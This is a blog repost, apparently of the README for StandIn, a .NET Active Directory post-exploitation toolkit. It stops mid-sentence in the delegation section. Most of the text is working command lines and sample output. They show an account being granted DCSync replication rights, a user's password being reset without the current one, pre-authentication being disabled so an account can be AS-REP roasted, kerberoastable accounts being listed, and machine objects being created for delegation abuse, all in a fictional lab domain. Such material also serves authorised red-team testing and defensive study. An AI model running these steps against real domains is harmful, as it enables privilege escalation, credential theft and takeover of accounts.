StandIn - A Small .NET35/45 AD Post-Exploitation Toolkit
2021-03-01 20:30:00 Author: www.blogger.com(查看原文) 阅读量:219 收藏

tag:blogger.com,1999:blog-8317222231133660547.post-62654059223681426582021-03-01T08:30:00.003-03:002021-03-01T08:30:15.466-03:00StandIn - A Small .NET35/45 AD Post-Exploitation Toolkit<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-jb6Ku2Gy9wM/YDSZB-s8ZQI/AAAAAAAAVdA/JOvJA8C4DIoIzpOC8BQlEQtozg3LRwHMACNcBGAsYHQ/s870/StandIn_1_Silk_StandIn.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="512" data-original-width="870" height="376" src="https://1.bp.blogspot.com/-jb6Ku2Gy9wM/YDSZB-s8ZQI/AAAAAAAAVdA/JOvJA8C4DIoIzpOC8BQlEQtozg3LRwHMACNcBGAsYHQ/w640-h376/StandIn_1_Silk_StandIn.png" width="640" /></a></div><p><br /></p><p>StandIn is a small AD post-compromise toolkit. StandIn came about because recently at <a href="https://github.com/xforcered" rel="nofollow" target="_blank" title="xforcered">xforcered</a> we needed a .NET native solution to perform resource based constrained delegation. However, StandIn quickly ballooned to include a number of comfort features.</p> <p>I want to continue developing StandIn to teach myself more about Directory Services programming and to hopefully expand a tool which fits in to the AD <a href="https://www.kitploit.com/search/label/Post-Exploitation" target="_blank" title="post-exploitation">post-exploitation</a> toolchain.</p><span><a name='more'></a></span><div><br /></div><br /><span style="font-size: x-large;"><b>Roadmap</b></span><br /> <br /><b>Contributing</b><br /> <p>Contributions are most welcome. Please ensure pull requests include the following items: description of the functionality, brief technical explanation and sample output.</p> <br /><b>ToDo's</b><br /> <p>The following items are currently on the radar for implementation in subsequent versions of StandIn.</p> <ul> <li>Domain share enumeration. This can be split out into two parts, (1) finding and getting a unique list based on user home directories / script paths / profile paths and (2) querying fTDfs / msDFS-Linkv2 objects.</li> <li>Finding and parsing GPO's to map users to host local groups.</li> </ul> <br /><span style="font-size: x-large;"><b>Subject References</b></span><br /> <ul> <li>An ACE up the sleeve (by <a href="https://twitter.com/_wald0" rel="nofollow" target="_blank" title="@_wald0">@_wald0</a> &amp; <a href="https://twitter.com/harmj0y" rel="nofollow" target="_blank" title="@harmj0y">@harmj0y</a>) - <a href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf" rel="nofollow" target="_blank" title="here">here</a></li> <li>Kerberoasting (by <a href="https://twitter.com/_xpn_" rel="nofollow" target="_blank" title="@">@<em>xpn</em></a>) - <a href="https://blog.xpnsec.com/kerberos-attacks-part-1/" rel="nofollow" target="_blank" title="here">here</a></li> <li>Roasting AS-REPs (by <a href="https://twitter.com/harmj0y" rel="nofollow" target="_blank" title="@harmj0y">@harmj0y</a>) - <a href="https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/" rel="nofollow" target="_blank" title="here">here</a></li> <li>Kerberos Unconstrained Delegation (by <a href="https://twitter.com/spotheplanet" rel="nofollow" target="_blank" title="@spotheplanet">@spotheplanet</a>) - <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation" rel="nofollow" target="_blank" title="here">here</a></li> <li>S4U2Pwnage (by <a href="https://twitter.com/harmj0y" rel="nofollow" target="_blank" title="@harmj0y">@harmj0y</a>) - <a href="https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/" rel="nofollow" target="_blank" title="here">here</a></li> <li>Resource-based Constrained Delegation (by <a href="https://twitter.com/spotheplanet" rel="nofollow" target="_blank" title="@spotheplanet">@spotheplanet</a>) - <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution" rel="nofollow" target="_blank" title="here">here</a></li> <li>Rubeus - <a href="https://github.com/GhostPack/Rubeus" rel="nofollow" target="_blank" title="here">here</a></li> <li>Powerview - <a href="https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon" rel="nofollow" target="_blank" title="here">here</a></li> <li>Powermad (by <a href="https://twitter.com/kevin_robertson" rel="nofollow" target="_blank" title="@kevin_robertson">@kevin_robertson</a>) - <a href="https://github.com/Kevin-Robertson/Powermad" rel="nofollow" target="_blank" title="here">here</a></li> </ul> <br /><span style="font-size: x-large;"><b>Index</b></span><br /> <ul> <li><a href="https://github.com/FuzzySecurity/StandIn#help" rel="nofollow" target="_blank" title="Help">Help</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#ldap-object-operations" rel="nofollow" target="_blank" title="LDAP Object Operations">LDAP Object Operations</a> <ul> <li><a href="https://github.com/FuzzySecurity/StandIn#get-object" rel="nofollow" target="_blank" title="Get object">Get object</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#get-object-access-permissions" rel="nofollow" target="_blank" title="Get object access permissions">Get object access permissions</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#grant-object-access-permission" rel="nofollow" target="_blank" title="Grant object access permission">Grant object access permission</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#set-object-password" rel="nofollow" target="_blank" title="Set object password">Set object password</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#addremove-asrep-from-object-flags" rel="nofollow" target="_blank" title="Add ASREP to object flags">Add ASREP to object flags</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#addremove-asrep-from-object-flags" rel="nofollow" target="_blank" title="Remove ASREP from object flags">Remove ASREP from object flags</a></li> </ul> </li> <li><a href="https://github.com/FuzzySecurity/StandIn#asrep" rel="nofollow" target="_blank" title="ASREP">ASREP</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#spn" rel="nofollow" target="_blank" title="SPN">SPN</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#unconstrained--constrained--resource-based-constrained-delegation" rel="nofollow" target="_blank" title="Unconstrained / constrained / resource-based constrained delegation">Unconstrained / constrained / resource-based constrained delegation</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#dcs" rel="nofollow" target="_blank" title="DC's">DC's</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#groups-operations" rel="nofollow" target="_blank" title="Groups Operations">Groups Operations</a> <ul> <li><a href="https://github.com/FuzzySecurity/StandIn#list-group-membership" rel="nofollow" target="_blank" title="List group membership">List group membership</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#add-user-to-group" rel="nofollow" target="_blank" title="Add user to group">Add user to group</a></li> </ul> </li> <li><a href="https://github.com/FuzzySecurity/StandIn#machine-object-operations" rel="nofollow" target="_blank" title="Machine Object Operations">Machine Object Operations</a> <ul> <li><a href="https://github.com/FuzzySecurity/StandIn#create-machine-object" rel="nofollow" target="_blank" title="Create machine object">Create machine object</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#disable-machine-object" rel="nofollow" target="_blank" title="Disable machine object">Disable machine object</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#delete-machine-object" rel="nofollow" target="_blank" title="Delete machine object">Delete machine object</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#add-msds-allowedtoactonbehalfofotheridentity" rel="nofollow" target="_blank" title="Add msDS-AllowedToActOnBehalfOfOtherIdentity">Add msDS-AllowedToActOnBehalfOfOtherIdentity</a></li> <li><a href="https://github.com/FuzzySecurity/StandIn#remove-msds-allowedtoactonbehalfofotheridentity" rel="nofollow" target="_blank" title="Remove msDS-AllowedToActOnBehalfOfOtherIdentity">Remove msDS-AllowedToActOnBehalfOfOtherIdentity</a></li> </ul> </li> <li><a href="https://github.com/FuzzySecurity/StandIn#detection" rel="nofollow" target="_blank" title="Detection">Detection</a></li> </ul> <br /><span style="font-size: large;"><b>Help</b></span><br /> <pre><code> __<br /> ( _/_ _// ~b33f<br />__)/(//)(/(/) v0.8<br /><br /><br /> &gt;--~~--&gt; Args? &lt;--~~--&lt;<br /><br />--help This help menu<br />--object LDAP filter, e.g. samaccountname=HWest<br />--computer Machine name, e.g. Celephais-01<br />--group Group name, e.g. "Necronomicon Admins"<br />--ntaccount User name, e.g. "REDHOOK\UPickman"<br />--sid String SID representing a target machine<br />--grant User name, e.g. "REDHOOK\KMason"<br />--guid Rights GUID to add to object, e.g. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2<br />--domain Domain name, e.g. REDHOOK<br />--user User name<br />--pass Password<br />--newpass New password to set for object<br />--type Rights type: GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync<br />--spn Boolean, list kerberoastable accounts<br />--delegation Boolean, list accounts with unconstrained / constrained delegation<br />--asrep Boolean, list ASREP roastab le accounts<br />--dc Boolean, list all domain controllers<br />--remove Boolean, remove msDS-AllowedToActOnBehalfOfOtherIdentity property from machine object<br />--make Boolean, make machine; ms-DS-MachineAccountQuota applies<br />--disable Boolean, disable machine; should be the same user that created the machine<br />--access Boolean, list access permissions for object<br />--delete Boolean, delete machine from AD; requires elevated AD access<br /><br /> &gt;--~~--&gt; Usage? &lt;--~~--&lt;<br /><br /># Query object properties by LDAP filter<br />StandIn.exe --object "(&amp;(samAccountType=805306368)(servicePrincipalName=*vermismysteriis.redhook.local*))"<br />StandIn.exe --object samaccountname=Celephais-01$ --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Query object access permissions, optionally filter by NTAccount<br />StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --access<br />StandIn.exe --object samaccountname=Rllyeh$ --access --ntaccount "REDHOOK\EDerby"<br />StandIn.exe --object samaccountname=JCurwen --access --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Grant object access permissions<br />StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --type DCSync<br />StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2<br />StandIn.exe --object samaccountname=SomeTarget001$ --grant "REDHOOK\MBWillett" --type GenericWrite --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Set object password<br />StandIn.exe --object samaccountname=SomeTarget001$ --newpass "Arkh4mW1tch!"<br />StandIn.exe --object samaccountname=BJenkin --newpass "Dr34m1nTh3H#u$e" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Add ASREP to userAccountControl flags<br />StandIn.exe --object samaccountname=HArmitage --asrep<br />StandIn.exe --object samaccountname=FMorgan --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Remove ASREP from userAccountControl flags<br />StandIn.exe --object samaccountname=TMalone --asrep --remove<br />StandIn.exe --object samaccountname=RSuydam --asrep --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Get a list of all ASREP roastable accounts<br />StandIn.exe --asrep<br />StandIn.exe --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Get a list of all kerberoastable accounts<br />StandIn.exe --spn<br />StandIn.exe --spn --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># List all accounts with unconstrained &amp; constrained delegation privileges<br />StandIn.exe --delegation<br />StandIn.exe --delegation --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Get a list of all domain controllers<br />StandIn.exe --dc<br /><br /># List group members<br />StandIn.exe --group Literarum<br />StandIn.exe --group "Magna Ultima" --domain redhook --user R Fludd --pass Cl4vi$Alchemi4e<br /><br /># Add user to group<br />StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley"<br />StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Create machine object<br />StandIn.exe --computer Innsmouth --make<br />StandIn.exe --computer Innsmouth --make --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Disable machine object<br />StandIn.exe --computer Arkham --disable<br />StandIn.exe --computer Arkham --disable --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Delete machine object<br />StandIn.exe --computer Danvers --delete<br />StandIn.exe --computer Danvers --delete --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Add msDS-AllowedToActOnBehalfOfOtherIdentity to machine object properties<br />StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543<br />StandIn.exe --computer Providence --sid S-1-5-21-10 85031214-1563985344-725345543 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /><br /># Remove msDS-AllowedToActOnBehalfOfOtherIdentity from machine object properties<br />StandIn.exe --computer Miskatonic --remove<br />StandIn.exe --computer Miskatonic --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e<br /></code></pre> <br /><span style="font-size: large;"><b>LDAP Object Operations</b></span><br /> <p>All object operations expect that the LDAP filter returns a single object and will exit out if your query returns more. This is by design.</p> <br /><b>Get object</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>Operationally, we may want to look at all of the properties of a specific object in AD. A common example would be to look at what groups a user account is member of or when a user account last authenticated to the domain.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Get all properties of the resolved object. Queries can be simple matches for a single property or complex LDAP filters.</p> <pre><code>C:\&gt; StandIn.exe --object samaccountname=m-10-1909-01$<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=M-10-1909-01<br /> Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br /><br />[?] Iterating object properties<br /><br />[+] logoncount<br /> |_ 360<br />[+] codepage<br /> |_ 0<br />[+] objectcategory<br /> |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local<br />[+] iscriticalsystemobject<br /> |_ False<br />[+] operatingsystem<br /> |_ Windows 10 Enterprise<br />[+] usnchanged<br /> |_ 195797<br />[+] instancetype<br /> |_ 4<br />[+] name<br /> |_ M-10-1909-01<br />[+] badpasswordtime<br /> |_ 0x0<br />[+] pwdlastset<br /> |_ 10/9/2020 4:42:02 PM UTC<br />[+] serviceprincipalname<br /> |_ TERMSRV/M-10-1909-01<br /> |_ TERMSRV/m-10-1909-01.main.redhook.local<br /> |_ WSMAN/m-10-1909-01<br /> |_ WSMAN/m-10-1909-01.main.redhook.local<br /> |_ RestrictedKrbHost/M-10-1 909-01<br /> |_ HOST/M-10-1909-01<br /> |_ RestrictedKrbHost/m-10-1909-01.main.redhook.local<br /> |_ HOST/m-10-1909-01.main.redhook.local<br />[+] objectclass<br /> |_ top<br /> |_ person<br /> |_ organizationalPerson<br /> |_ user<br /> |_ computer<br />[+] badpwdcount<br /> |_ 0<br />[+] samaccounttype<br /> |_ SAM_MACHINE_ACCOUNT<br />[+] lastlogontimestamp<br /> |_ 11/1/2020 7:40:09 PM UTC<br />[+] usncreated<br /> |_ 31103<br />[+] objectguid<br /> |_ 17c80232-2ee6-47e1-9ab5-22c51c268cf0<br />[+] localpolicyflags<br /> |_ 0<br />[+] whencreated<br /> |_ 7/9/2020 4:59:55 PM<br />[+] adspath<br /> |_ LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br />[+] useraccountcontrol<br /> |_ WORKSTATION_TRUST_ACCOUNT<br />[+] cn<br /> |_ M-10-1909-01<br />[+] countrycode<br /> |_ 0<br />[+] primarygroupid<br /> |_ 515<br />[+] whenchanged<br /> |_ 11/2/2020 7:59:32 PM<br />[+] operatingsystemversion<br /> |_ 10.0 (18363)<br />[+] dnshostname<br /> |_ m-10-1909-01.main.redhook.local<br />[+] dscorepropagationdata<br /> |_ 10/30/2020 6:56:30 PM<br /> |_ 10/25/2020 1:28:32 AM<br /> |_ 7/16/2020 2:15:26 PM<br /> |_ 7/15/2020 8:54:17 PM<br /> |_ 1/1/1601 12:04:17 AM<br />[+] lastlogon<br /> |_ 11/3/2020 10:21:11 AM UTC<br />[+] distinguishedname<br /> |_ CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br />[+] msds-supportedencryptiontypes<br /> |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96<br />[+] samaccountname<br /> |_ M-10-1909-01$<br />[+] objectsid<br /> |_ S-1-5-21-1293271031-3053586410-2290657902-1126<br />[+] lastlogoff<br /> |_ 0<br />[+] accountexpires<br /> |_ 0x7FFFFFFFFFFFFFFF<br /></code></pre> <br /><b>Get object access permissions</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>At certain stages of the engagement, the operator may want to resolve the access permissions for a specific object in AD. Many permissions can offer an operational avenue to expand access or achieve objectives. For instance, a WriteDacl permission on a group could allow the operator to grant him / her self permissions to add a new user to the group. Tools like <a href="https://github.com/BloodHoundAD/SharpHound3" rel="nofollow" target="_blank" title="SharpHound">SharpHound</a> already, in many instances, reveal these Dacl weaknesses.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Retrieve the <a href="https://www.kitploit.com/search/label/Active%20Directory" target="_blank" title="active directory">active directory</a> rules that apply to the resolved object and translate any schema / rights GUID's to their friendly name. Optionally filter the results by an NTAccount name.</p> <pre><code>C:\&gt;StandIn.exe --object samaccountname=m-10-1909-01$ --access<br /><br />[?] Using DC : m-w19-dc01.main.redhook.local<br />[?] Object : CN=M-10-1909-01<br /> Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local<br /><br />[+] Object properties<br /> |_ Owner : MAIN\domainjoiner<br /> |_ Group : MAIN\Domain Join<br /><br />[+] Object access rules<br /><br />[+] Identity --&gt; NT AUTHORITY\SELF<br /> |_ Type : Allow<br /> |_ Permission : CreateChild, DeleteChild<br /> |_ Object : ANY<br /><br />[+] Identity --&gt; NT AUTHORITY\Authenticated Users<br /> |_ Type : Allow<br /> |_ Permission : GenericRead<br /> |_ Object : ANY<br /> <br /> [... Snip ...]<br /><br />C:\&gt; StandIn.exe --object samaccountname=m-10-1909-01$ --access --ntaccount "MAIN\domainjoiner"<br /><br />[?] Using DC : m-w19-dc01.main.redhook.local<br />[?] Object : CN=M-10-1909-01<br /> Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU =OCCULT,DC=main,DC=redhook,DC=local<br /><br />[+] Object properties<br /> |_ Owner : MAIN\domainjoiner<br /> |_ Group : MAIN\Domain Join<br /><br />[+] Object access rules<br /><br />[+] Identity --&gt; MAIN\domainjoiner<br /> |_ Type : Allow<br /> |_ Permission : DeleteTree, ExtendedRight, Delete, GenericRead<br /> |_ Object : ANY<br /><br />[+] Identity --&gt; MAIN\domainjoiner<br /> |_ Type : Allow<br /> |_ Permission : WriteProperty<br /> |_ Object : User-Account-Restrictions<br /><br />[+] Identity --&gt; MAIN\domainjoiner<br /> |_ Type : Allow<br /> |_ Permission : Self<br /> |_ Object : servicePrincipalName<br /><br />[+] Identity --&gt; MAIN\domainjoiner<br /> |_ Type : Allow<br /> |_ Permission : Self<br /> |_ Object : dNSHostName<br /><br />[+] Identity --&gt; MAIN\domainjoiner<br /> |_ Type : Allow<br /> |_ Permission : WriteProperty<br /> |_ Object : sAMAccountName<br /><br />[+] Identity --&gt; MAIN\do mainjoiner<br /> |_ Type : Allow<br /> |_ Permission : WriteProperty<br /> |_ Object : displayName<br /><br />[+] Identity --&gt; MAIN\domainjoiner<br /> |_ Type : Allow<br /> |_ Permission : WriteProperty<br /> |_ Object : description<br /><br />[+] Identity --&gt; MAIN\domainjoiner<br /> |_ Type : Allow<br /> |_ Permission : WriteProperty<br /> |_ Object : User-Logon<br /><br />[+] Identity --&gt; MAIN\domainjoiner<br /> |_ Type : Allow<br /> |_ Permission : Self<br /> |_ Object : DS-Validated-Write-Computer<br /></code></pre> <br /><b>Grant object access permission</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>With the appropriate rights, the operator can grant an NTAccount special permissions over a specific object in AD. For instance, if an operator has GenericAll privileges over a user account they can grant themselves or a 3rd party NTAccount permission to change the user’s password without knowing the current password.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Add permission to the resolved object for a specified NTAccount. StandIn supports a small set of pre-defined privileges (GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync) but it also allows operators to specify a custom rights guid using the <code>--guid</code> flag.</p> <pre><code>C:\&gt; whoami<br />main\s4uuser<br /><br />C:\&gt; StandIn.exe --group lowPrivButMachineAccess<br /><br />[?] Using DC : m-w19-dc01.main.redhook.local<br />[?] Group : lowPrivButMachineAccess<br /> GUID : 37e3d957-af52-4cc6-8808-56330f8ec882<br /><br />[+] Members<br /><br />[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> samAccountName : s4uUser<br /> Type : User<br /> SID : S-1-5-21-1293271031-3053586410-2290657902-1197<br /> <br />C:\&gt; StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\lowPrivButMachineAccess"<br /><br />[?] Using DC : m-w19-dc01.main.redhook.local<br />[?] Object : DC=main<br /> Path : LDAP://DC=main,DC=redhook,DC=local<br /><br />[+] Object properties<br /> |_ Owner : BUILTIN\Administrators<br /> |_ Group : BUILTIN\Administrators<br /><br />[+] Object access rules<br /><br />[+] Identity --&gt; MAIN\lowPrivButMachineAccess<br /> |_ Type : Allow<br /> |_ Permission : WriteDacl<br /> |_ Object : ANY<br /><br />C:\&gt; StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --grant "MAIN\s4uuser" --type DCSync<br /><br />[?] Using DC : m-w19-dc01.main.redhook.local<br />[?] Object : DC=main<br /> Path : LDAP://DC=main,DC=redhook,DC=local<br /><br />[+] Object properties<br /> |_ Owner : BUILTIN\Administrators<br /> |_ Group : BUILTIN\Administrators<br /><br />[+] Set object access rules<br /> |_ Success, added dcsync privileges to object for MAIN\s4uuser<br /><br />C:\&gt; StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\s4uUser"<br /><br />[?] Using DC : m-w19-dc01.main.redhook.local<br />[?] Object : DC=main<br /> Path : LDAP://DC=main,DC=redhook,DC=local<br /><br />[+] Object properties<br /> |_ Owner : BUILTIN\Administrators<br /> |_ Group : BUILTIN\Administrators<br /><br />[+] Object access rules<br /><br />[+] Identity --&amp;g t; MAIN\s4uUser<br /> |_ Type : Allow<br /> |_ Permission : ExtendedRight<br /> |_ Object : DS-Replication-Get-Changes-All<br /><br />[+] Identity --&gt; MAIN\s4uUser<br /> |_ Type : Allow<br /> |_ Permission : ExtendedRight<br /> |_ Object : DS-Replication-Get-Changes<br /><br />[+] Identity --&gt; MAIN\s4uUser<br /> |_ Type : Allow<br /> |_ Permission : ExtendedRight<br /> |_ Object : DS-Replication-Get-Changes-In-Filtered-Set<br /></code></pre> <br /><b>Set object password</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>If the operator has <code>User-Force-Change-Password</code> permissions over a user object they can change the password for that user account without knowing the current password. This action is destructive as the user will no longer be able to authenticate which may raise alarm bells.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Set the resolved object's password without knowing the current password.</p> <pre><code>C:\&gt; whoami<br />main\s4uuser<br /><br />C:\&gt; StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\lowPrivButMachineAccess"<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=User 005<br /> Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /><br />[+] Object properties<br /> |_ Owner : MAIN\Domain Admins<br /> |_ Group : MAIN\Domain Admins<br /><br />[+] Object access rules<br /><br />[+] Identity --&gt; MAIN\lowPrivButMachineAccess<br /> |_ Type : Allow<br /> |_ Permission : WriteDacl<br /> |_ Object : ANY<br /><br />C:\&gt; StandIn.exe --object "samaccountname=user005" --grant "MAIN\s4uuser" --type resetpassword<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=User 005<br /> Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /><br />[+] Object properties<br /> |_ Owner : MAIN\Domain Admins<br /> |_ Group : MAIN\Domain Adm ins<br /><br />[+] Set object access rules<br /> |_ Success, added resetpassword privileges to object for MAIN\s4uuser<br /><br />C:\&gt; StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\s4uUser"<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=User 005<br /> Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /><br />[+] Object properties<br /> |_ Owner : MAIN\Domain Admins<br /> |_ Group : MAIN\Domain Admins<br /><br />[+] Object access rules<br /><br />[+] Identity --&gt; MAIN\s4uUser<br /> |_ Type : Allow<br /> |_ Permission : ExtendedRight<br /> |_ Object : User-Force-Change-Password<br /><br />C:\&gt; StandIn.exe --object "samaccountname=user005" --newpass "Arkh4mW1tch!"<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=User 005<br /> Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /><br />[+] Object properties<br /> |_ Owner : MAIN\Domain Admins<br /> |_ Group : MAIN\Domain Admins<br /><br />[+] Setting account password<br /> |_ Success, password set for object<br /></code></pre> <br /><b>Add/Remove ASREP from object flags</b><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>If the operator has write access to a user account, they can modify the user’s <code>userAccountControl</code> flags to include <code>DONT_REQUIRE_PREAUTH</code>. Doing so allows the operator to request an AS-REP hash for the user which can be cracked offline. This process is very similar to kerberoasting. This action is not destructive, but it relies on the fact that the user has a password which can be cracked in a reasonable timeframe.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Add and remove <code>DONT_REQUIRE_PREAUTH</code> from the resolved object's <code>userAccountControl</code> flags.</p> <pre><code>C:\&gt; StandIn.exe --object "samaccountname=user005" --asrep<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=User 005<br /> Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /><br />[*] SamAccountName : user005<br /> DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD<br /><br />[+] Updating userAccountControl..<br /> |_ Success<br /><br />C:\&gt; StandIn.exe --asrep<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br /><br />[?] Found 1 object(s) that do not require Kerberos preauthentication..<br /><br />[*] SamAccountName : user005<br /> DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH<br /><br />C:\&gt; StandIn.exe --object "samaccountname=user005" --asrep --rem ove<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Object : CN=User 005<br /> Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /><br />[*] SamAccountName : user005<br /> DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH<br /><br />[+] Updating userAccountControl..<br /> |_ Success<br /><br />C:\&gt; StandIn.exe --asrep<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br /><br />[?] Found 0 object(s) that do not require Kerberos preauthentication..<br /></code></pre> <br /><span style="font-size: large;"><b>ASREP</b></span><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>This function enumerates all accounts in AD which are currently enabled and have <code>DONT_REQUIRE_PREAUTH</code> as part of their <code>userAccountControl</code> flags. These accounts can be AS-REP roasted, this process is very similar to kerberoasting.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Return all accounts that are ASREP roastable.</p> <pre><code>C:\&gt; StandIn.exe --asrep<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br /><br />[?] Found 1 object(s) that do not require Kerberos preauthentication..<br /><br />[*] SamAccountName : user005<br /> DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH<br /></code></pre> <br /><span style="font-size: large;"><b>SPN</b></span><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>This function enumerates all accounts in AD which are currently enabled and can be kerberoasted. Some basic account information is added for context: when was the password last set, when was the account last used and what <a href="https://www.kitploit.com/search/label/Encryption" target="_blank" title="encryption">encryption</a> types are supported.</em></p> </blockquote> <br /><b>Syntax</b><br /> <p>Return all accounts that are kerberoastable.</p> <pre><code>C:\&gt; StandIn.exe --spn<br /><br />[?] Using DC : m-w16-dc01.main.redhook.local<br />[?] Found 1 kerberostable users..<br /><br />[*] SamAccountName : SimCritical<br /> DistinguishedName : CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local<br /> ServicePrincipalName : ldap/M-2012R2-03.main.redhook.local<br /> PwdLastSet : 11/2/2020 7:06:17 PM UTC<br /> lastlogon : 0x0<br /> Supported ETypes : RC4_HMAC_DEFAULT<br /></code></pre> <br /><span style="font-size: large;"><b>Unconstrained / constrained / resource-based constrained delegation</b></span><br /> <br /><b>Use Case</b><br /> <blockquote> <p><em>This function enumerates all accounts that are permitted to perform <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation" 